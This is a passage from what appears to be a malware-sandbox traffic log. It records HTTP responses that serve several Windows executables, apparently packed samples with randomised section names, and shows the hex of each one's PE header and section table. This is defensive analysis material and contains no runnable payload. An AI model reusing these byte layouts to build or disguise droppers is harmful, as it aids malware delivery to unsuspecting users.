6f 69 62 68 73 6d 63 6f 00 30 19 00 00 60 30 00 00 26 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 63 68 68 7a 70 79 00 10 00 00 00 90 49 00 00 06 00 00 00 1c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 49 00 00 22 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:09 GMTContent-Type: application/octet-streamContent-Length: 6172760Last-Modified: Thu, 31 Oct 2024 16:49:02 GMTConnection: keep-aliveETag: "6723b4fe-5e3058"Accept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0b 00 bd da 90 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 74 0a 00 00 70 02 00 00 00 00 00 bc 83 0a 00 00 10 00 00 00 90 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 c0 0d 00 00 04 00 00 e5 e9 5e 00 02 00 40 81 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 70 0b 00 71 00 00 00 00 50 0b 00 ec 0f 00 00 00 b0 0c 00 00 10 01 00 00 00 00 00 00 00 00 00 00 08 5e 00 58 28 00 00 00 a0 0b 00 a8 0f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 52 0b 00 5c 02 00 00 00 60 0b 00 a4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 56 0a 00 00 10 00 00 00 58 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 64 1b 00 00 00 70 0a 00 00 1c 00 00 00 5c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 38 00 00 00 90 0a 00 00 3a 00 00 00 78 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 58 72 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 ec 0f 00 00 00 50 0b 00 00 10 00 00 00 b2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 a4 01 00 00 00 60 0b 00 00 02 00 00 00 c2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 71 00 00 00 00 70 0b 00 00 02 00 00 00 c4 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 18 00 00 00 00 80 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 5d 00 00 00 00 90 0b 00 00 02 00 00 00 c6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 a8 0f 01 00 00 a0 0b 00 00 10 01 00 00 c8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:18 GMTContent-Type: application/octet-streamContent-Length: 2900480Last-Modified: Fri, 01 Nov 2024 09:52:08 GMTConnection: keep-aliveETag: "6724a4c8-2c4200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 50 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2f 00 00 04 00 00 3f 9e 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 74 65 66 70 63 75 7a 00 90 29 00 00 b0 05 00 00 88 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 71 77 65 75 72 72 6f 00 10 00 00 00 40 2f 00 00 04 00 00 00 1c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 2f 00 00 22 00 00 00 20 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:24 GMTContent-Type: application/octet-streamContent-Length: 2134016Last-Modified: Fri, 01 Nov 2024 09:52:22 GMTConnection: keep-aliveETag: "6724a4d6-209000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 b0 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 72 00 00 04 00 00 fd 90 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 66 62 6d 75 62 78 79 00 e0 19 00 00 c0 58 00 00 e0 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 70 79 79 64 61 65 75 00 10 00 00 00 a0 72 00 00 04 00 00 00 6a 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 72 00 00 22 00 00 00 6e 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:30 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Fri, 01 Nov 2024 09:00:24 GMTConnection: keep-aliveETag: "672498a8-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a0 98 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 4b 13 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:35 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:48 GMTContent-Type: application/octet-streamContent-Length: 2712064Last-Modified: Fri, 01 Nov 2024 09:00:50 GMTConnection: keep-aliveETag: "672498c2-296200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 76 74 6e 77 6f 78 70 00 20 29 00 00 a0 00 00 00 02 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6f 64 7a 6c 6a 74 6b 00 20 00 00 00 c0 29 00 00 04 00 00 00 3c 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 29 00 00 22 00 00 00 40 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:49 GMTContent-Type: application/octet-streamContent-Length: 2712064Last-Modified: Fri, 01 Nov 2024 09:00:50 GMTConnection: keep-aliveETag: "672498c2-296200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 76 74 6e 77 6f 78 70 00 20 29 00 00 a0 00 00 00 02 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6f 64 7a 6c 6a 74 6b 00 20 00 00 00 c0 29 00 00 04 00 00 00 3c 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 29 00 00 22 00 00 00 40 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 